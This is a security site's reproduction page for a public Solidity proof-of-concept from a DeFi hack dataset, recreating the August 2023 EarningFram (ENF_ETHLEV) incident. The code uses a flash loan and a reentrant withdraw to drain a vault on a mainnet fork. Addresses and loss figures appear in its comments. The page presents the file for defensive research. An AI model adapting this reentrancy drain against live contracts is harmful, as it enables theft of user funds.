Skip to content
THREATWIRE

Public reproduction file

src/test/2023-08/EarningFram_exp.sol

Public reproduction file for dataset entry EarningFram.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-08/EarningFram_exp.sol94 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~286K USD$
8// Attacker : https://etherscan.io/address/0xee4b3dd20902fa3539706f25005fa51d3b7bdf1b
9// Attack Contract : https://etherscan.io/address/0xfe141c32e36ba7601d128f0c39dedbe0f6abb983
10// Vulnerable Contract : https://etherscan.io/address/0x863e572b215fd67c855d973f870266cf827aea5e
11// Attack Tx : https://etherscan.io/tx/0x6e6e556a5685980317cb2afdb628ed4a845b3cbd1c98bdaffd0561cb2c4790fa
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x863e572b215fd67c855d973f870266cf827aea5e#code
16// @Analysis
17// Twitter Guy : https://twitter.com/Phalcon_xyz/status/1689182459269644288
19interface IENF_ETHLEV is IERC20 {
20 function deposit(uint256 assets, address receiver) external payable returns (uint256);
22 function withdraw(uint256 assets, address receiver) external returns (uint256);
24 function convertToAssets(
25 uint256 shares
26 ) external view returns (uint256);
28 function totalAssets() external view returns (uint256);
31contract ContractTest is Test {
32 IWFTM WETH = IWFTM(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
33 Uni_Pair_V3 Pair = Uni_Pair_V3(0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640);
34 IENF_ETHLEV ENF_ETHLEV = IENF_ETHLEV(0x5655c442227371267c165101048E4838a762675d);
35 address Controller = 0xE8688D014194fd5d7acC3c17477fD6db62aDdeE9;
36 Exploiter exploiter;
37 uint256 nonce;
39 function setUp() public {
40 vm.createSelectFork("mainnet", 17_875_885);
41 vm.label(address(WETH), "WETH");
42 vm.label(address(ENF_ETHLEV), "ENF_ETHLEV");
43 vm.label(address(Pair), "Piar");
44 exploiter = new Exploiter();
45 }
47 function testExploit() external {
48 while (ENF_ETHLEV.totalAssets() > 1 ether) {
49 deal(address(this), 0);
51 Pair.flash(address(this), 0, 10_000 ether, abi.encode(10_000 ether));
53 emit log_named_decimal_uint(
54 "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()
55 );
56 }
57 }
59 function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {
60 WETH.withdraw(WETH.balanceOf(address(this)));
61 ENF_ETHLEV.approve(address(ENF_ETHLEV), type(uint256).max);
62 uint256 assets = ENF_ETHLEV.totalAssets();
63 ENF_ETHLEV.deposit{value: assets}(assets, address(this)); // deposit eth, mint shares
65 uint256 assetsAmount = ENF_ETHLEV.convertToAssets(ENF_ETHLEV.balanceOf(address(this)));
66 ENF_ETHLEV.withdraw(assetsAmount, address(this)); // withdraw all assets, burn small shares by reentracny, re-enter point
68 exploiter.withdraw(); // withdraw all assets
70 WETH.deposit{value: address(this).balance}();
71 uint256 amount = abi.decode(data, (uint256));
72 WETH.transfer(address(Pair), amount1 + amount);
73 }
75 receive() external payable {
76 if (msg.sender == Controller) {
77 ENF_ETHLEV.transfer(address(exploiter), ENF_ETHLEV.balanceOf(address(this)) - 1);
78 nonce++;
79 }
80 }
83contract Exploiter {
84 IENF_ETHLEV ENF_ETHLEV = IENF_ETHLEV(0x5655c442227371267c165101048E4838a762675d);
86 function withdraw() external {
87 ENF_ETHLEV.approve(address(ENF_ETHLEV), type(uint256).max);
88 uint256 assetsAmount = ENF_ETHLEV.convertToAssets(ENF_ETHLEV.balanceOf(address(this)));
89 ENF_ETHLEV.withdraw(assetsAmount, address(this));
90 payable(msg.sender).transfer(address(this).balance);
91 }
93 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “EarningFram” (2023-08-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

12 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xee4b3dd20902fa3539706f25005fa51d3b7bdf1b

  • Attack Contract

    0xfe141c32e36ba7601d128f0c39dedbe0f6abb983

  • Vulnerable Contract

    0x863e572b215fd67c855d973f870266cf827aea5e

  • Attack Tx

    0x6e6e556a5685980317cb2afdb628ed4a845b3cbd1c98bdaffd0561cb2c4790fa

File record

Name
EarningFram
Path
src/test/2023-08/EarningFram_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
7ca0c624fe27a5f557653ceddc4f9ac9d5a31420
Language
Solidity
Size
95 lines
Date
2023-08-09
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-08/EarningFram_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 7ca0c624fe27a5f557653ceddc4f9ac9d5a31420, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.